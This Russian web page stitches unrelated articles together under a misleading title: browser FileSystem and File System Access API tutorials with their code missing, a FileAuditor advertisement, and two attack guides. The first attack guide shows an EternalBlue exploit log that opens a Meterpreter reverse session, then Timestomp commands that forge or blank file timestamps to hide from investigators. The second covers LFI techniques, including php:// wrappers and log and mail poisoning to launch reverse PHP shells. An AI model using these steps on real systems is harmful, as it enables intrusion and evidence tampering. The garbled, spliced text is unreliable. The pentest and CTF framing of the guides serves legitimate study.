Используя файловый api можно менять атрибуты файлов в обход системы безопасности
В данной статье я хочу рассмотреть FileSystem API и File API, разобраться с его методами и показать пару полезных штук. Эта статья является компиляцией материалов с html5rocks (1, 2, 3). Все представленные ниже демки можно посмотреть по первым двум ссылкам. Третья ссылка так же предлагает ряд интересных демо. Ну а теперь займемся изучением материала.
В качестве введения
С помощью FileSystem API и File API веб приложение может создавать, читать, просматривать и записывать файлы находящиеся в области пользовательской «песочницы».
- Чтение и управление файлами: File/Blob, FileList, FileReader
- Создание и запись: BlobBuilder, FileWriter
- Работа с директориями и права доступа: DirectoryReader, FileEntry/DirectoryEntry, LocalFileSystem
- File — собственно файл; позволяет получить такую доступную только для чтения информацию, как имя, размер, mimetype и прочее.
- FileList — «массив» объектов File.
- Blob — сущность, позволяющая разбирать файл по байтам.
Поддержка браузерами и ограничение на хранение
На момент написания статьи только Google Chrome 9+ имеет рабочую реализацию FileSystem API. И на данный момент пока нет никаких диалоговых окон для управления файлами и квотами на хранилище, поэтому нужно будет использовать флаг --unlimited-quota-for-files (в случае разработки приложений для Chrome Web Store будет достаточно манифеста с разрешением unlimitedStorage). Но все меняется и пользователи в скором времени получат возможность для управления правами по работе с файлами, которые будут требоваться приложению.
Вам может потребоваться использование флага --allow-file-access-from-files , если вы дебажите приложение с использованием file://. Если этот флаг не использовать, то будут выброшены исключения типа SECURITY_ERR или QUOTA_EXCEEDED_ERR.
Обращаемся к файловой системе
Проверим поддержку браузером нужных нам функций
Веб приложение может обратиться к файловой системе (естественно в ограниченной «песочнице») вызвав следующий метод window.requestFileSystem():
Правила хранения, доступные значения window.TEMPORARY и window.PERSISTENT. данные, хранящиеся с использованием ключа TEMPORARY могут быть удаление по усмотрению браузером (например, если не хватает места). Если же выставлен ключPERSISTENT, то данные могут быть очищены только после действий пользователя или приложения.
Callback-функция, выполняемая в случае успешного обращения к файловой системе. Ее аргументом является объект типа FileSystem.
Необязательная callback-функция для обработки ошибок. Так же вызывается, когда возникают ошибки обращения к файловой системе. Параметром является объект типа FileError.
Если вы вызываете метод requestFileSystem() в рамках вашего приложения в первый раз, то в этот момент и будет создано хранилище. Очень важно помнить, что данное хранилище является закрытым и другое приложение не будет иметь к нему доступа. Это так же значит, что приложение не может менять прочие файлы и папки, расположенные на жестком диске.
Спецификация по FileSystem так же описывает API для синхронной работы, а именно интерфейс LocalFileSystemSync, который предполагается использовать совместно Web Workers. Но в этой статье данное API не будет рассмотрено.
Возвращаясь к методу requestFileSystem() стоит описать возможные варианты возникающих ошибок:
Описанный пример очень прост, но по сути является заготовкой для дальнейшей работы с возникающими ошибками.
Работа с файлам
Для работы с файлам предусмотрен интерфейс FileEntry. Он обладает рядом методов и свойств, которые мы привыкли ассоциировать с обычными файлами. Приведем их ниже:
Разберем на примерах азы работы с FileEntry.
Создание файла
Получить или создать файл можно с помощью метода getFile() у интерфейса DirectoryEntry. После обращения к хранилищу, callback возвращает нам объект FileSystem, содержащий в себе DirectoryEntry (fs.root), ссылающийся на корневую папку хранилища.
Следующий код создаст пустой файл «log.txt»:
Итак, после обращения к файловому хранилищу, у нас в руках оказывается FileSystem. Внутри сallback-функции мы можем обратится к методу fs.root.getFile(), передав имя файла, который требуется создать. Можно передать как относительный, так и абсолютный путь — главное чтобы он был верным. Например, ошибочным будет создание файла, если его родительская папка не существует. Вторым аргументом метода getFile() является объект, описывающий параметры объекта, которые будут к нему применены, если он еще не создан. Более подробно можно прочитать в документации.
Чтение файла по имени
Следующий код обращается к файлу «log.txt» и читает его содержимое с помощью FileReader API, после чего записывает все содержимое в блок . Если файл не существует, то будет выброшена ошибка.
- FileReader.readAsBinaryString(Blob|File) — результат будет содержать байтовую строку.
- FileReader.readAsText(Blob|File, opt_encoding) — результат будет содержать текстовую строку. Кодировка по умолчанию — 'UTF-8', менять можно с помощью задания опционального параметра
- FileReader.readAsDataURL(Blob|File) — на выходе имеем data URL.
- FileReader.readAsArrayBuffer(Blob|File) — получаем данные в виде ArrayBuffer.
Иногда нам может потребоваться не весь файл, а лишь его часть, для этого удобно использовать File.slice(start_byte,length).
Выглядит это так:
В следующем примере мы сможем прочитать либо нужные на байты, либо весь файл целиком. Особое внимание обратите на onloadend и evt.target.readyState, которые в данном случае будут заменять нам событие onload. (О событиях чуть ниже).
- onloadstart
- onprogress
- onload,
- onabort
- onerror
- onloadend
Запись в файл
С помощью следующего кода мы создадим файл «log.txt» (если он не существует) и запишем в него 'Ipsum Lorem'.
Как видно, мы обращаемся к методу createWriter() для получения объекта. Кроме этого, мы обрабатываем события окончания записи в файл и возможного создания ошибки.
Дописываем данные в файл
Следующий код допишет 'Hello World' в конец файла. Если файла нет, то выброситься ошибка.
Создание копий выбранных файлов
Следующий код позволяет пользователю выбирать несколько файлов, используя multiple> и создает копии этих файлов.
Для упрощения выбора файлов можно использовать HTML5 Drag and Drop.
Удаление файлов
Следующий код удалит 'log.txt'.
Работа с директориями
Работа с директориями осуществляется за счет использования DirectoryEntry, который обладает большинством свойств FileEntry ( они оба наследуют интерфейс Entry). Перечислим ниже свойства и методы DirectoryEntry.
Создание директорий
Для создания и обращения к директориям используется getDirectory() интерфейса DirectoryEntry. Можно передавать как имя, так и путь до директории.
Создадим в корне директорию «MyPictures»:
Поддиректории
Создание поддиректорий по сути то же самое, что и создание директорий, однако надо помнить, что если родительская директория не существует, то будет выброшена ошибка. Следующий код показывает, как можно обойти это ограничение:
Теперь у нас создана директория «music/genres/jazz» и мы можем обращаться к любому ее уровню и создавать в них новые файлы. Например:
Разбираем содержимое директории
Чтобы узнать, что содержится в директории нужно создать DirectoryReader и вызвать его метод readEntries(), но при этом нет гарантии, что вернется все содержимое выбранной директории (. ). Это значит, что надо обращаться к методу DirectoryReader.readEntries(), пока результат не станет пустым. Пример:
Удаляем директорию
Для удаления следует вызвать метод DirectoryEntry.remove(). Важно знать, что если попытаться удалить не пустую директорию, то будет выброшена ошибка.
Удалим пустую директорию «jazz» из "/music/genres/":
Рекурсивно удаляем директории
Если у вас есть не пустая директория и вы все же хотите ее удалить, то вам поможет метод removeRecursively(), который удалить и директорию и все ее содержимое.
Произведем эту операцию с директорией «music»:
Копируем, переименовываем и перемещаем
FileEntry и DirectoryEntry полностью идентичны в этом аспекте.
Копируем
И FileEntry и DirectoryEntry имеют метод copyTo() для копирования. В случае директорий, метод рекурсивно создаст и все содержимое.
Скопируем «me.jpg» из одной директории в другую:
Перемещение или переименование
У FileEntry и DirectoryEntry есть метод moveTo(), позволяющие перемещать и переименовывать файлы и директории. Первым аргументом является родительская папка, вторым (опциональным) параметром является новое имя.
Переименуем «me.jpg» в «you.jpg»:
Переместим «me.jpg» из корневой директории в «newfolder».
Use Cases
HTML5 предлагает несколько вариантов локального хранения данных, но FileSystem отличается тем, что позволяет удовлетворить те потребности, которые не удовлетворяют базы данных. В основном, это нужды приложение, которые хранят большой объем бинарных данных и/или предоставляет доступ к файлам приложениям вне браузера.
Утверждается, что лучший способ избежать детектирования – не оставлять следов и вообще не прикасаться к файлам.
Автор: drd_
Утверждается, что лучший способ избежать детектирования – не оставлять следов и вообще не прикасаться к файлам. Однако на практике в большинстве случаев, невозможно не взаимодействовать с файловой системой тем или иным образом. Соответственно, для запутывания следов и сокрытие активности вполне разумный шаг – изменение файловых атрибутов, чего можно добиться при помощи модуля Timestomp из Metasploit.
Что такое значения MACE?
Атрибуты файлов представляют собой значения Modified-Accessed-Created-Entry (MACE) в формате дата/время, обновляемых во время определенных операций с файлом. Modified – дата последней модификации файла, Accessed – дата последнего доступа к файлу, Created – дата создания файла, Entry – дата изменения заголовка MTF. Эти атрибуты используются администраторами в том числе при расследовании инцидентов и отслеживании вредоносной активности.
В идеале во время хакинга лучше вообще не оставлять следов. Изменение атрибутов файлов стоит на втором месте по эффективности. Этот метод не является панацеей, но может помочь в сокрытии операций с файловой системой.
С другой стороны, следует помнить и про здравый смысл, поскольку если даты будут сильно в прошлом или будущем, сразу возникнут подозрения. Как и в случае, если во всех четырех атрибутах стоит одна и та же дата и время.
Шаг 1: Настройка рабочей среды
Мы будем использовать копию Windows 7 в качестве целевой системы и Kali Linux в качестве рабочей машины. Вначале нужно создать несколько тестовых файлов в целевой системе. Я также создал новую папку MyFiles, где будут храниться все созданные файлов. Сами файлы могут быть любыми (текстовых более, чем достаточно).
Рисунок 1: Тестовые файлы в целевой системе
Шаг 2: Получение meterpreter-сессии
После всех настроек на рабочей машине в терминале вводим команду msfconsole и запускаем Metasploit.
Целевая система уязвима к эксплоиту EternalBlue, который будет использоваться для получения шелла. На самом деле, особого значение не имеет, чем вы будете пользоваться, поскольку все заканчивается получением meterpreter-сессии на целевой машине.
msf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.10.0.1:1234
[*] 10.10.0.104:445 - Connecting to target for exploitation.
[+] 10.10.0.104:445 - Connection established for exploitation.
[+] 10.10.0.104:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.0.104:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.0.104:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.0.104:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.0.104:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.0.104:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.0.104:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.0.104:445 - Sending all but last fragment of exploit packet
[*] 10.10.0.104:445 - Starting non-paged pool grooming
[+] 10.10.0.104:445 - Sending SMBv2 buffers
[+] 10.10.0.104:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.0.104:445 - Sending final SMBv2 buffers.
[*] 10.10.0.104:445 - Sending last fragment of exploit packet!
[*] 10.10.0.104:445 - Receiving response from exploit packet
[+] 10.10.0.104:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.0.104:445 - Sending egg to corrupted connection.
[*] 10.10.0.104:445 - Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 10.10.0.104
[*] Meterpreter session 1 opened (10.10.0.1:1234 -> 10.10.0.104:49233) at 2019-04-08 10:41:26 -0500
Шаг 3: Проверка файлов в целевой системе
После того как целевая система скомпрометирована, вводим команду pwd для просмотра текущей рабочей директории.
Поскольку мы создали новую папку на диске C, заходим туда и проверяем наличие созданных ранее файлов.
meterpreter > cd C:/Myfiles
Mode Size Type Last modified Name
100666/rw-rw-rw- 12 fil 2019-04-08 12:43:24 -0500 example.txt
100666/rw-rw-rw- 7 fil 2019-04-08 12:43:55 -0500 test1.txt
100666/rw-rw-rw- 13 fil 2019-04-08 12:43:55 -0500 test2.txt
100666/rw-rw-rw- 127 fil 2019-04-08 12:43:55 -0500 test3.txt
Шаг 4: Изменение атрибутов файлов при помощи Timestomp
Timestomp представляет собой пост эксплуатационный модуль, доступный в Meterpreter, который можно использовать для модификаций файловых атрибутов (значений MACE). Очень удобно, поскольку мы можем изменить время и дату любого файла, с которым работали, с минимальным риском оказаться обнаруженным.
В meterpreter-сессии для просмотра справочной информации для модуля используем команду timestomp help:
meterpreter > timestomp help
Usage: timestomp OPTIONS
-a Set the "last accessed" time of the file
-b Set the MACE timestamps so that EnCase shows blanks
-c Set the "creation" time of the file
-e Set the "mft entry modified" time of the file
-f Set the MACE of attributes equal to the supplied file
-m Set the "last written" time of the file
-r Set the MACE timestamps recursively on a directory
-v Display the UTC MACE values of the file
-z Set all four attributes (MACE) of the file
1. Просмотр файловых атрибутов
Необходимо указать нужную опцию и имя файла. Например, для просмотра атрибутов MACE используем флаг –v.
Entry Modified: 2019-04-08 13:44:25 -0500
2. Изменение значений Modified, Accessed, Created и Entry Modified
Мы можем изменить любой из этих атрибутов, указав нужную опцию и корректную дату в формате DateTime. Например, для изменения значения «modified» используем флаг –m.
Теперь при повторном просмотре атрибутов видны изменения.
meterpreter > timestomp example.txt -v
[*] Showing MACE attributes for example.txt
Modified : 2012-02-14 08:10:03 -0600
Accessed : 2019-04-08 13:43:24 -0500
Created : 2019-04-08 13:43:24 -0500
Entry Modified: 2019-04-08 13:44:25 -0500
Схожим образом изменяется атрибут «accessed» при помощи флага –a.
И атрибут «created» при помощи флага –c.
В завершении меняем атрибут «entry modified», используя флаг –e.
Теперь при просмотре файла видим, что появились изменения.
3. Установка во все атрибуты одного значения
Мы также можем изменить все атрибуты сразу, если хотим, чтобы все значения были одинаковы, при помощи флага –z.
Изменения появились.
4. Перенос значений из другого файла
При помощи флага –f можно унаследовать значения атрибутов из файла, уже существующего в системе. Однако у меня не получился этот трюк.
5. Обнуление значений
Мы можем полностью обнулить атрибуты, используя флаг -b
Теперь при просмотре атрибутов файла будут показаны бессмысленные даты из будущего.
При помощи флага –r можно рекурсивно обнулить атрибуты всех файлов в текущей директории.
Теперь при просмотре на целевой машине все даты оказываются пустыми.
Рисунок 2: Атрибуты файлов после рекурсивного обнуления
В этой статье мы немного познакомились с атрибутами файлов и научились запутывать следы. После компрометирования целевой машины и получения meterpreter-сессии мы воспользовались модулем Timestomp и изменили значения MACE. Тем не менее, следует отметить, что метод не является волшебной таблеткой, но все же лучше, чем ничего.
Передаю большой привет белым шляпам J.
Один хакер может причинить столько же вреда, сколько 10 000 солдат! Подпишись на наш Телеграм канал, чтобы узнать первым, как выжить в цифровом кошмаре!
Цель данного документа – помочь пентестерам и студентам в поиске LFI-уязвимостей, которые обычно обнаруживаются во время тестирования веб-приложений при помощи техник, описанных в этой статье.
Автор: Aptive Consulting Ltd
Введение
Цель данного документа – помочь пентестерам и студентам в поиске LFI-уязвимостей, которые обычно обнаруживаются во время тестирования веб-приложений при помощи техник, описанных в этой статье. Кроме того, описанные методы обычно используются участниками различных хакерских конкурсов в формате CTF (Capture the Flag; Захват флага).
Что такое LFI-уязвимость?
LFI-уязвимости (Local File Inclusion; Включение локальных файлов) позволяют злоумышленникам через браузер подключать файлы на сервере. Эта брешь присутствует там, где отсутствует корректная обработка входящих данных, и злоумышленник может манипулировать входящей информацией, инжектировать символы типа path traversal и включать другие файлы с веб-сервера.
Пример уязвимого кода
Код, показанный ниже, имеет брешь, связанную с включением локального файла.
Нахождение LFI-уязвимостей внутри веб-приложений
Проблемы, связанные с включением локальных файлов, легко найти и эксплуатировать. Любой скрипт, который подключает файл с веб-сервера, является хорошим кандидатом для поиска LFI-уязвимостей. Например:
/script.php?page=index.html
Пентестер может попробовать поэксплуатировать эту брешь при помощи манипуляции параметром, связанным с местонахождением файла. Например, так:
Трюк, показанный выше, позволяет посмотреть содержимое файла /etc/passwd в системах на базе UNIX / Linux.
На рисунке ниже показан пример успешной эксплуатации LFI-уязвимости в веб-приложении:
Рисунок 1: Вывод содержимого файла /etc/passwd в системе, содержащей LFI-уязвимость
PHP-обертки
В интерпретаторе PHP есть несколько оберток, которые можно использовать для обхода фильтров входящих данных.
Обертка expect://
Обертка expect:// позволяет выполнять системные команды. К сожалению, этот модуль по-умолчанию не разрешен.
Обертка file://
В примере ниже полезная нагрузка отправляется на сервер через POST-запрос (при помощи конструкции php://input выполняем команду ls).
Рисунок 2: POST-запрос, содержащий конструкцию php://input
Рисунок 3: Результат выполнения команды ls
Обертка php://filter
Обертка php://filter позволяет пентестеру подключать локальные файлы и кодировать выходной поток в base64. Таким образом, чтобы получить читабельное содержимое, нужна дешифровка.
Рисунок 4: Отображение файла /etc/passwd, закодированного в base64
Декодируем файл /etc/passwd при помощи следующей команды:
Рисунок 5: Раскодированный файл /etc/passwd
Обертку php://filter можно использовать и без кодирования выходного потока:
Рисунок 6: Отображение незакодированного файла /etc/passwd при помощи обертки php://filter
Обертка zip://
Обертка zip:// обрабатывает загруженные .zip файлы на стороне сервера. При помощи данной функции пентестер может загрузить .zip файл, используя уязвимую функцию, предназначенную для загрузки, а затем осуществить выполнение через распаковщик zip и локальное включение. Типичная атака выглядит следующим образом:
- Создаем обратный PHP-шелл.
- Упаковываем файл в .zip архив.
- Загружаем сжатую полезную нагрузку на сервер.
- Используем обертку zip:// для распаковки полезной нагрузки при помощи следующей команды: php?page=zip://path/to/file.zip%23shell
- После выполнения команды из пункта 4 появится файл shell. Если сервер не принимает файл shell, поменяйте имя на shell.php.
Если сервер не принимает .zip архивы, можно попробовать обойти функцию загрузки файлов.
Включение локальных файлов через /proc/self/environ
Если получается подключение /proc/self/environ при помощи бреши, связанной с включением локальных файлов, возможна атака через заголовок User Agent. Как только код инжектирован в заголовок User Agent, в дальнейшем используется LFI-уязвимость для выполнения /proc/self/environ и перезапуска переменных окружения, что, в свою очередь, позволяет запустить обратный шелл.
Полезные трюки
Далее будут приведены методы, которые полезны в сочетании с техниками, указанными выше:
Добавление пустого байта
Инжектирование пустого байта помогает обойти фильтры при помощи добавления к URL закодированного пустого байта (например, %00). Обычно этот трюк позволяет обойти базовые фильтры путем добавления пустых символов, которые допустимы и не обрабатываются серверной частью веб-приложения.
Практические примеры, связанные с инжектирование пустого байта, с целью включения локального файла:
Техники, связанные с укорачиванием
Укорачивание – еще одна техника, направленная на обход фильтров. При инжектировании длинного параметра в механизм с LFI-уязвимостью, веб-приложение может обрезать входной параметр, что поможет обойти фильтр входных данных.
Примеры трюков, связанных с укорачиванием:
Инжектирование в лог-файл
Метод основан на внедрении исходного кода через другие внешний службы в лог-файл целевой системы. Например, инжектирование PHP-кода обратного шелла в URL сподвигнет службу syslog на создание записи в логе доступа веб-сервера Apache записи с ошибкой 404 (страница не найдена). Затем лог апача можно распарсить при помощи ранее обнаруженной LFI-уязвимости и запустить инжектированной PHP-код.
После добавления исходного кода в лог(и) целевой системы следующий шаг – поиск местонахождения этих файлов. После обнаружения типа целевой системы и веб-сервера следует поискать логи по стандартным путям, используемым в данной конкретной системе и веб-сервере. Полезные нагрузки, заточенные под LFI-уязвимость в сочетании с приложением Burp Intruder можно использовать для нахождения путей, где лежат логи в целевой системе.
Некоторые популярные внешние службы в системах Linux / UNIX перечислены ниже:
Apache / Nginx
Инжектируем код в журнал доступа или журнал ошибок веб-сервера при помощи netcat. После успешного внедрения парсим файл серверного лога, используя ранее обнаруженную LFI-уязвимость. Если журнал доступа / ошибок слишком длинный, на запуск инжектированного кода может уйти некоторое время.
Отправка обратного шелла по электронной почте
Если целевая машина перенаправляет почту напрямую или через другую машину в сети, а также хранит почту пользователя www-data (apache) в системе, становится возможной атака через отправку обратного шелла при помощи электронной почты. Если для текущего домена отсутствуют MX-записи, но есть внешняя служба SMTP, можно подключиться к целевому почтовому серверу и отослать почту пользователю www-data / apache. Почта отсылается пользователю, от имени которого запускается apache (например, www-data), с целью проверки, что права файловой системы позволяют получить доступ на чтение к файлу /var/spool/mail/www-data, который содержит инжектированный обратный шелл код, написанный на PHP.
Вначале проверяем присутствие пользователя www-data при помощи скрипта smtp-user-enum:
Рисунок 7: Проверка присутствия пользователя www-data
На рисунке ниже показан процесс отправки почты пользователю www-data через telnet:
Рисунок 8: Процесс пересылки обратного PHP-шелла через SMTP при помощи telnet
Рисунок 9: Включение файла www-data, который содержит код отосланного обратного PHP-шелла
В результате обратный шелл подключается к netcat-слушателю:
Рисунок 10: Подсоединение обратного PHP-шелла к netcat
Ссылки
Информационные источники, используемые в этой статье:
Один хакер может причинить столько же вреда, сколько 10 000 солдат! Подпишись на наш Телеграм канал, чтобы узнать первым, как выжить в цифровом кошмаре!
В компании произошел неприятный инцидент – в общем доступе оказалась справка о здоровье одного из топ-менеджеров. Эта ситуация заставила начать разбираться: как такое могло произойти? К какой еще информации имеют доступ посторонние? Как далеко уходят документы? На каких компьютерах без учета и внимания хранятся персональные данные, «файлики» с паролями, документы с грифом «комтайна»? Какие неучтенные копии черновиков приказов выходят за пределы круга доверенных лиц?
С такими вопросами компания ставила на тест FileAuditor, российскую DCAP-систему Сканирование файловых хранилищ
FileAuditor ведет непрерывный мониторинг файлов и папок, чтобы оперативно выявлять изменения в них.
При первом сканировании программа вычитывает всю структуру и содержимое файлов на контролируемых компьютерах. В дальнейшем в первую очередь система будет сканировать те файлы и папки, к которым обращались пользователи – открывали, редактировали, удаляли, создавали новые, переименовывали или перемещали. Причем изменения на ПК сотрудников отслеживаются в реальном времени, то есть ИБ-специалист всегда имеет актуальное представление о происходящем с данными в компании.
Агенты FileAuditor незаметны для пользователей, не тормозят контролируемые машины благодаря настройкам:
расписания проверок (например, только по окончании рабочего времени);
условия проверок (например, только если загрузка ЦП меньше N%, только в отсутствии активных сессий и т.д.);
скорости сканирования (ее можно снизить для облегчения нагрузки на инфраструктуру).
Чтобы еще сэкономить время и ресурсы можно исключить из сканирования некоторые документы и папки. Например, это нужно сделать с системными файлами.
Рис. 2. Вся информация о ходе вычитки каталогов с файлами доступна на вкладке «Статистика сканирования»
Аудит прав доступа
FileAuditor определяет права доступа пользователей к каждому документу благодаря вычитке сведений из ресурсов файловой системы. Программа видит:
перечень групп и конкретных сотрудников, которым доступен файл;
перечень операций, доступных каждому пользователю с конкретным файлом/директорией.
В программе есть фильтры, которые помогают конкретизировать выдачу для более детального анализа прав доступа. Для каждого файла можно найти всех пользователей с определенными разрешениями.
Например, вы можете выбрать перечень всех сотрудников, кто может редактировать и удалять файл, или только тех, кому доступ к файлу запрещен. И наоборот: можно искать, какие файлы доступны или запрещены к использованию заданным пользователям/группам пользователей.
Рис. 5. Наиболее полная информация о пользовательских разрешениях доступна в отчетах
«Права доступа к ресурсам» и «Владельцы ресурсов». Последний особенно полезен, чтобы проконтролировать появление новых объектов в файловой системе и распределить права доступа к ним.
Архивирование критичных документов
FileAuditor создает теневые копии файлов, чтобы защитить документы от несанкционированных изменений, удаления.
Сервер не будет перегружен копиями лишних файлов, так как можно настроить, копии каких документов нужно сохранить. Реализована и система дедупликации (идентичные копии будут удаляться), есть настройка, чтобы устаревшие копии, с которыми пользователи перестали взаимодействовать, автоматически удалялись из выдачи. То же и копиями файлов, которые больше не нуждаются в контроле и исключены из мониторинга.
Управление инцидентами
Политики безопасности в FileAuditor помогают вовремя среагировать на нежелательные события с заданными категориями данных. Настроить автоматизированный поиск нарушений можно:
по категории файла или папки (в соответствии с правилами классификации);
по пользовательским правам доступа;
по дате создания или изменения и т.д.
Например, можно создать политику, которая оповестит, если новые пользователи получили расширенные права доступа к документам из категории «Финансовая отчетность». Или если с документа снят гриф «коммерческая тайна».
Рис. 8. Сработка политики безопасности FileAuditor: новые пользователи получили права на редактирование контролируемого документа
При срабатывании политики система отправит оповещение ИБ-специалисту и сохранит результаты поиска на вкладке «Инциденты». Там можно изучить срез по каждой сработке и сопутствующую информацию о попавших в поле зрения политики файлах: где и как они хранятся, к каким категориям относятся, кому принадлежат и кто еще имеет к ним доступ.
Контроль действий пользователей
FileAuditor предоставляет детальную информацию обо всех пользовательских операциях с файлами. Для каждого документа в контролируемых хранилищах можно просмотреть историю обращений: кто и когда открывал или редактировал файл.
Рис. 6. Просмотр операций с файлом в FileAuditor
С помощью фильтров можно сузить выборку файлов в зависимости от того, какую критичную операцию необходимо отслеживать.
Например, можно выбрать только документы, которые в заданный промежуток времени:
были изменены;
переименованы;
получили новые настройки прав доступа;
попали под правило или перестали ему соответствовать.
Критерий «Контроль файла прекращен» указывает на ситуации, когда в документе исчезли признаки, по которым система определяла его принадлежность к той или иной категории. Например, если пользователи удалили из текста гриф «коммерческая тайна». Технически система перестанет считать такой файл конфиденциальным, однако зафиксирует операцию для дальнейшего расследования. Это помогает раскрывать инциденты, связанные с попытками кражи важных документов и обмана систем безопасности.
Рис. 7. Расследование инцидента в FileAuditor: сотрудник изменил содержимое документа, чтобы он перестал попадать под правило, и переместил его в папку «Не забыть унести»
Блокировка по меткам как возможность защитить файлы
В FileAuditor реализованы блокировки по меткам – возможность запрещать доступ и пересылку конфиденциальных файлов в любых произвольных приложениях.
Например, в FileAuditor можно запретить отправку файлов с меткой «ПДн» по любому каналу – будь то корпоративный мессенджер или Telegram. Пользователь просто не сможет прикрепить такие документы во вложения и получит уведомление об ошибке. Можно разрешить работу в MS Office с документами из категории «Конфиденциально» только директору – тогда все остальные пользователи, даже получив доступ к такому файлу, не смогут его открыть.
Метки незаметны для пользователей и наследуются при различных действиях с файлами, включая копирование, переименование, смену расширения. FileAuditor автоматически перепроверяет наличие меток и устанавливает их на вновь создаваемые на базе конфиденциальных документов файлы. Это обеспечивает непрерывный контроль.
Огромное значение метки имеют для работы DLP, их наличие позволяет системе обеспечить мгновенную блокировку утечек конфиденциальных данных, потому что теперь защитной системе не нужно проверять содержимое каждого файла. Чтобы понять, насколько критичен документ, DLP теперь достаточно проверить его метку. Это еще и не перегружает систему. Блокировка по меткам реализована в DLP-системе «СёрчИнформ КИБ».
Преимущества «СёрчИнформ FileAuditor»
До появления «файловогого аудитора» от «СёрчИнформ» выбор заказчиков состоял только из зарубежных решений. Как правило, они не устраивали по цене, были громоздки, плохо интегрировались с существующими решениями в парке защитных систем компаний.
Отечественный продукт. Если компания обрабатывает и хранит персональные данные, она в принципе не имеет право пользоваться иностранными DCAP-системами.
Доступность. FileAuditor доступнее зарубежных аналогов. Ключевые зарубежные DCAP-системы доступны только крупным корпорациям и не по карману другим заказчикам. Кроме того, многие зарубежные продукты более требовательны к ресурсам, громоздки, что находит отражение в нагрузке на кадры и затратах на железо.
Русскоговорящая техподдержка рядом. Если у заказчика возникнут вопросы во время разворачивания системы или при работе, скорость ответа имеет решающее значение. Клиенты «СёрчИнформ», знакомые с работой менеджеров внедрения, инженеров, техподдержки, отмечают работу наших специалистов как одно из ключевых преимуществ при выборе вендора.
Возможность интеграции. FileAuditor легко интегрируется с другими продуктами «СёрчИнформ», в первую очередь с DLP «СёрчИнформ КИБ». Как говорилось выше, это существенно повышает уровень защиты информации, т.к. обеспечивается защита не только данных «в покое» (с помощью FileAuditor), но и «в движении» (что отслеживает DLP).
В FileAuditor вендор собрал инструменты, характерные для классического функционала DCAP-систем и самые востребованные у клиентов. Чтобы узнать подробнее про принцип действия этого класса решений, Телеграм канал, чтобы узнать первым, как выжить в цифровом кошмаре!
В этой небольшой статье я хочу рассказать вам о File System Access API (далее — FSA ), позволяющем читать и записывать файлы в локальную систему пользователя с помощью браузера.
Если вам это интересно, прошу под кат.
Поддержка
К сожалению, на сегодняшний день FSA поддерживается только 34.68% браузеров: сюда входят все десктопные браузеры, за исключением Firefox .
Возможности
FSA расширяет объект window следующими методами:
- showOpenFilePicker — для чтения файлов;
- showSaveFilePicker — для записи файлов;
- showDirectoryPicker — для чтения директории.
Данные методы называются фабриками дескрипторов локальной файловой системы (local file system handle factories) и возвращают FileSystemHandle — сущность (entity) для работы с файлами ( FileSystemFileHandle ) или директориями ( FileSystemDirectoryHandle ), соответственно.
FileSystemHandle содержит поле kind (вид, тип), значением которого может быть либо file , либо directory , и поле name (название файла или директории).
Чтение файла
Для получения сущности для чтения файла ( FileSystemFileHandle ) используется метод showOpenFilePicker :
Общими для showOpenFilePicker и showSaveFilePicker являются настройки:
- types?: object — разрешенные типы файлов;
- excludeAcceptAllOption?: boolean — если имеет значение true , picker будет принимать/сохранять только файлы с типами, определенными в types .
Значением поля types является объект со следующими свойствами:
- description?: string — описание типа файлов;
- accept?: object — объект вида < MIME-тип: расширение >.
Специфичной для showOpenFilePicker настройкой является multiple?: boolean — если имеет значение true , picker будет принимать несколько файлов и возвращать массив FileSystemFileHandle .
Для чтения содержимого файла с помощью FileSystemFileHandle используется метод getFile :
getFile возвращает интерфейс File . Для преобразования blob в текст можно использовать метод text (данный метод наследуется File от интерфейса Blob ):
Предположим, что у нас имеется директория fsa-test , в которой лежит файл test.txt с текстом Hi World . Прочитаем этот файл.
Пользователь должен явно выразить намерение прочитать файл или директорию, например, нажать кнопку.
Нажимаем на кнопку. Выбираем файл test.txt . Получаем Hi World в консоли.
Создадим еще парочку файлов, например, test2.txt с текстом Bye World и test3.txt с текстом Hi World Once Again .
Прочитаем все 3 файла, запретив пользователю выбирать другие файлы.
Нажимаем на кнопку. Выбираем файлы test.txt , test2.txt и test3.txt . Получаем в консоли:
Запись файлов
Для получения сущности для записи файла ( FileSystemFileHandle ) используется метод showSaveFilePicker :
Специфичной для showSaveFilePicker является настройка suggestedName?: string — рекомендуемое название создаваемого файла.
Для записи файла с помощью FileSystemFileHandle используется метод createWritable :
Единственной доступной на сегодняшний день настройкой createWritable является keepExistingData?: boolean — если имеет значение true , picker сохраняет данные, имеющиеся в файле на момент записи, в противном случае, содержимое файла перезаписывается.
createWritable возвращает FileSystemWritableFileStream , предоставляющий метод write для записи файла:
fileData — это данные для записи.
Запишем файл test4.txt с текстом Bye World Once Again .
Нажимаем на кнопку File saver . Сохраняем файл. Видим, что в директории появился файл test4.txt с текстом Bye World Once Again .
Перезапишем содержимое файла test.txt .
Нажимаем на кнопку File picker . Выбираем файл test.txt . Нажимаем на кнопку File saver . Получаем уведомление о том, что браузер сможет манипулировать файлом test.txt до закрытия всех вкладок. Нажимаем Сохранить . Открываем test.txt . Видим, что текст Hi World изменился на Bye World (текст Hi World должен был сохраниться, поскольку мы указали настройку keepExistingData: true ).
Чтение директории
Для получения сущности для чтения директории ( FileSystemDirectoryHandle ) используется метод showDirectoryPicker :
Для перебора содержимого выбранной директории можно использовать следующие методы:
- entries — возвращает массив массивов вида [name, handle] , где name — название сущности, а handle — FileSystemHandle ;
- values — возвращает массив handle ;
- keys — возвращает массив name .
Переместим файлы test2.txt , test3.txt и test4.txt в директорию text и прочитаем содержимое директории fsa-test .
Структура директории fsa-test :
